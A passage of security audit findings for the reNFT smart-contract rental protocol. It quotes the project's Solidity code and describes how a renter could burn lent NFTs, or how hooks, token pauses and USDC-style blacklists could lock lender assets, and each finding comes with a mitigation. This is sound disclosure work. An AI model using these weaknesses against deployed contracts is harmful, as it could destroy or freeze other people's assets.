            } catch (bytes memory revertData) {
                // Fallback to an error that returns the byte data.
                revert Errors.Shared_HookFailBytes(revertData);
            }
        }
    }

It can be observed that if hookOnStop is false, could be due to disabled or removed, it will revert, causing the rent cannot be stopped and assets to stuck.

Tools Used

Manual review

Recommended Mitigation Steps

Consider to just skip the hook call if hookOnStop is false rather than revert.

Assessed type

Error

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195-L293

Vulnerability details

Impact

Many ERC721/ERC1155 tokens, including well-known games such as The Sandbox, allow users to burn tokens that they own. This burn functionality is currently not prevented in the guard module, allowing a malicious renter to burn lender assets.

Proof of Concept

It can be observed that currently, calling ERC721/ERC1155's burn functions is still allowed.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195-L293

    function _checkTransaction(address from, address to, bytes memory data) private view {
        bytes4 selector;

        // Load in the function selector.
        assembly {
            selector := mload(add(data, 0x20))
        }

        if (selector == e721_safe_transfer_from_1_selector) {
            // Load the token ID from calldata.
            uint256 tokenId = uint256(
                _loadValueFromCalldata(data, e721_safe_transfer_from_1_token_id_offset)
            );

            // Check if the selector is allowed.
            _revertSelectorOnActiveRental(selector, from, to, tokenId);
        } else if (selector == e721_safe_transfer_from_2_selector) {
            // Load the token ID from calldata.
            uint256 tokenId = uint256(
                _loadValueFromCalldata(data, e721_safe_transfer_from_2_token_id_offset)
            );

            // Check if the selector is allowed.
            _revertSelectorOnActiveRental(selector, from, to, tokenId);
        } else if (selector == e721_transfer_from_selector) {
            // Load the token ID from calldata.
            uint256 tokenId = uint256(
                _loadValueFromCalldata(data, e721_transfer_from_token_id_offset)
            );

            // Check if the selector is allowed.
            _revertSelectorOnActiveRental(selector, from, to, tokenId);
        } else if (selector == e721_approve_selector) {
            // Load the token ID from calldata.
            uint256 tokenId = uint256(
                _loadValueFromCalldata(data, e721_approve_token_id_offset)
            );

            // Check if the selector is allowed.
            _revertSelectorOnActiveRental(selector, from, to, tokenId);
        } else if (selector == e1155_safe_transfer_from_selector) {
            // Load the token ID from calldata.
            uint256 tokenId = uint256(
                _loadValueFromCalldata(data, e1155_safe_transfer_from_token_id_offset)
            );

            // Check if the selector is allowed.
            _revertSelectorOnActiveRental(selector, from, to, tokenId);
        } else if (selector == gnosis_safe_enable_module_selector) {
            // Load the extension address from calldata.
            address extension = address(
                uint160(
                    uint256(
                        _loadValueFromCalldata(data, gnosis_safe_enable_module_offset)
                    )
                )
            );

            // Check if the extension is whitelisted.
            _revertNonWhitelistedExtension(extension);
        } else if (selector == gnosis_safe_disable_module_selector) {
            // Load the extension address from calldata.
            address extension = address(
                uint160(
                    uint256(
                        _loadValueFromCalldata(data, gnosis_safe_disable_module_offset)
                    )
                )
            );

            // Check if the extension is whitelisted.
            _revertNonWhitelistedExtension(extension);
        } else {
            // Revert if the `setApprovalForAll` selector is specified. This selector is
            // shared between ERC721 and ERC1155 tokens.
            if (selector == shared_set_approval_for_all_selector) {
                revert Errors.GuardPolicy_UnauthorizedSelector(
                    shared_set_approval_for_all_selector
                );
            }

            // Revert if the `safeBatchTransferFrom` selector is specified. There's no
            // cheap way to check if individual items in the batch are rented out.
            // Each token ID would require a call to the storage contract to check
            // its rental status.
            if (selector == e1155_safe_batch_transfer_from_selector) {
                revert Errors.GuardPolicy_UnauthorizedSelector(
                    e1155_safe_batch_transfer_from_selector
                );
            }

            // Revert if the `setGuard` selector is specified.
            if (selector == gnosis_safe_set_guard_selector) {
                revert Errors.GuardPolicy_UnauthorizedSelector(
                    gnosis_safe_set_guard_selector
                );
            }
        }
    }

well-known games such as The Sandbox, allow users to burn tokens that they own :

https://etherscan.io/address/0xa342f5d851e866e18ff98f351f2c6637f4478db5

   /// @notice Burns `amount` tokens of type `id`.
    /// @param id token type which will be burnt.
    /// @param amount amount of token to burn.
    function burn(uint256 id, uint256 amount) external {
        _burn(msg.sender, id, amount);
    }

    /// @notice Burns `amount` tokens of type `id` from `from`.
    /// @param from address whose token is to be burnt.
    /// @param id token type which will be burnt.
    /// @param amount amount of token to burn.
    function burnFrom(address from, uint256 id, uint256 amount) external {
        require(from != address(0), "from is zero address");
        require(
            msg.sender == from ||
                _metaTransactionContracts[msg.sender] ||
                _superOperators[msg.sender] ||
                _operatorsForAll[from][msg.sender],
            "require meta approval"
        );
        _burn(from, id, amount);
    }

Besides that, burnable token is quite common for ERC721/ERC1155 tokens, not preventing the action could result in loss of lender's assets.

Tools Used

Manual review.

Recommended Mitigation Steps

Add additional check to prevent call of burn/burnFrom inside the Guard module.

Assessed type

ERC721

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L71-L101 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L32-L34 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L42-L50

Vulnerability details

Impact

Many ERC721/ERC1155 tokens, including well-known games such as Axie Infinity, have a pause functionality inside the contract. This pause functionality will cause the stopRent call to always revert and could cause issues, especially for the PAY order type.

Proof of Concept

When stopRent /stopRentBatch is called, it will eventually trigger _reclaimRentedItems and execute reclaimRentalOrder from the safe to send back tokens to lender.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L353 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L293 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L166-L183

    function _reclaimRentedItems(RentalOrder memory order) internal {
        // Transfer ERC721s from the renter back to lender.
        bool success = ISafe(order.rentalWallet).execTransactionFromModule(
            // Stop policy inherits the reclaimer package.
            address(this),
            // value.
            0,
            // The encoded call to the `reclaimRentalOrder` function.
            abi.encodeWithSelector(this.reclaimRentalOrder.selector, order),
            // Safe must delegate call to the stop policy so that it is the msg.sender.
            Enum.Operation.DelegateCall
        );

        // Assert that the transfer back to the lender was successful.
        if (!success) {
            revert Errors.StopPolicy_ReclaimFailed();
        }
    }

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L71-L101 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L32-L34 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L42-L50

    function reclaimRentalOrder(RentalOrder calldata rentalOrder) external {
        // This contract address must be in the context of another address.
        if (address(this) == original) {
            revert Errors.ReclaimerPackage_OnlyDelegateCallAllowed();
        }

        // Only the rental wallet specified in the order can be the address that
        // initates the reclaim. In the context of a delegate call, address(this)
        // will be the safe.
        if (address(this) != rentalOrder.rentalWallet) {
            revert Errors.ReclaimerPackage_OnlyRentalSafeAllowed(
                rentalOrder.rentalWallet
            );
        }

        // Get a count for the number of items.
        uint256 itemCount = rentalOrder.items.length;

        // Transfer each item if it is a rented asset.
        for (uint256 i = 0; i < itemCount; ++i) {
            Item memory item = rentalOrder.items[i];

            // Check if the item is an ERC721.
            if (item.itemType == ItemType.ERC721)
>>>             _transferERC721(item, rentalOrder.lender);

            // check if the item is an ERC1155.
            if (item.itemType == ItemType.ERC1155)
>>>             _transferERC1155(item, rentalOrder.lender);
        }
    }

It can be observed that AxieInfinity has paused functionality : https://etherscan.io/address/0xf5b0a3efb8e8e4c201e2a935f110eaaf3ffecb8d

This is problematic, especially for the PAY order type. Consider a scenario where the lender is not satisfied with how the renter utilizes their PAY order's NFTs. Now, when the lender wants to early stop the rent and calls stopRent, the call will revert, and the earning calculation for the renter will still be growing.

Tools Used

Manual review

Recommended Mitigation Steps

Consider decoupling the NFT claim from stopRent and introducing a timestamp tracker when the lender calls stopRent. Utilize that timestamp value when the rent stop is finalized and calculate the ERC20 reward for the renter.

Assessed type

ERC721

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L296 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L255-L278 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L174-L178

Vulnerability details

Impact

Renter can lock lender's assets in the safe if an ERC20 with a blacklist is used, and the renter's address is blacklisted.

Proof of Concept

When stopRent or stopRentBatch is called, it will eventually trigger ESCRW.settlePayment or ESCRW.settlePaymentBatch, that will distribute assets (ERC20) accordingly based on the order type and timing condition.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L265-L306

    function stopRent(RentalOrder calldata order) external {
        // Check that the rental can be stopped.
        _validateRentalCanBeStoped(order.orderType, order.endTimestamp, order.lender);

        // Create an accumulator which will hold all of the rental asset updates, consisting of IDs and
        // the rented amount. From this point on, new memory cannot be safely allocated until the
        // accumulator no longer needs to include elements.
        bytes memory rentalAssetUpdates = new bytes(0);

        // Check if each item in the order is a rental. If so, then generate the rental asset update.
        // Memory will become safe again after this block.
        for (uint256 i; i < order.items.length; ++i) {
            if (order.items[i].isRental()) {
                // Insert the rental asset update into the dynamic array.
                _insert(
                    rentalAssetUpdates,
                    order.items[i].toRentalId(order.rentalWallet),
                    order.items[i].amount
                );
            }
        }

        // Interaction: process hooks so they no longer exist for the renter.
        if (order.hooks.length > 0) {
            _removeHooks(order.hooks, order.items, order.rentalWallet);
        }

        // Interaction: Transfer rentals from the renter back to lender.
        _reclaimRentedItems(order);

        // Interaction: Transfer ERC20 payments from the escrow contract to the respective recipients.
>>>     ESCRW.settlePayment(order);

        // Interaction: Remove rentals from storage by computing the order hash.
        STORE.removeRentals(
            _deriveRentalOrderHash(order),
            _convertToStatic(rentalAssetUpdates)
        );

        // Emit rental order stopped.
        _emitRentalOrderStopped(order.seaportOrderHash, msg.sender);
    }

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L320-L330

    function settlePayment(RentalOrder calldata order) external onlyByProxy permissioned {
        // Settle all payments for the order.
        _settlePayment(
            order.items,
            order.orderType,
            order.lender,
            order.renter,
            order.startTimestamp,
            order.endTimestamp
        );
    }

The problem is that the settle payment currently transfers assets to the renter. If a token with a blacklist, such as USDC, is used and the renter's address is blacklisted, stopRent will always revert, and the lender's assets will be locked inside the renter's safe. This case is especially concerning if the order is of the PAY type.

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L159-L179

    function _settlePaymentProRata(
        address token,
        uint256 amount,
        address lender,
        address renter,
        uint256 elapsedTime,
        uint256 totalTime
    ) internal {
        // Calculate the pro-rata payment for renter and lender.
        (uint256 renterAmount, uint256 lenderAmount) = _calculatePaymentProRata(
            amount,
            elapsedTime,
            totalTime
        );

        // Send the lender portion of the payment.
        _safeTransfer(token, lender, lenderAmount);

        // Send the renter portion of the payment.
        _safeTransfer(token, renter, renterAmount);
    }

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L190-L202

    function _settlePaymentInFull(
        address token,
        uint256 amount,
        SettleTo settleTo,
        address lender,
        address renter
    ) internal {
        // Determine the address that this payment will settle to.
        address settleToAddress = settleTo == SettleTo.LENDER ? lender : renter;

        // Send the payment.
        _safeTransfer(token, settleToAddress, amount);
    }

Tools Used

Manual review.

Recommended Mitigation Steps

use the "Pull over Push" design for sending token to lender/renter.

Assessed type

ERC20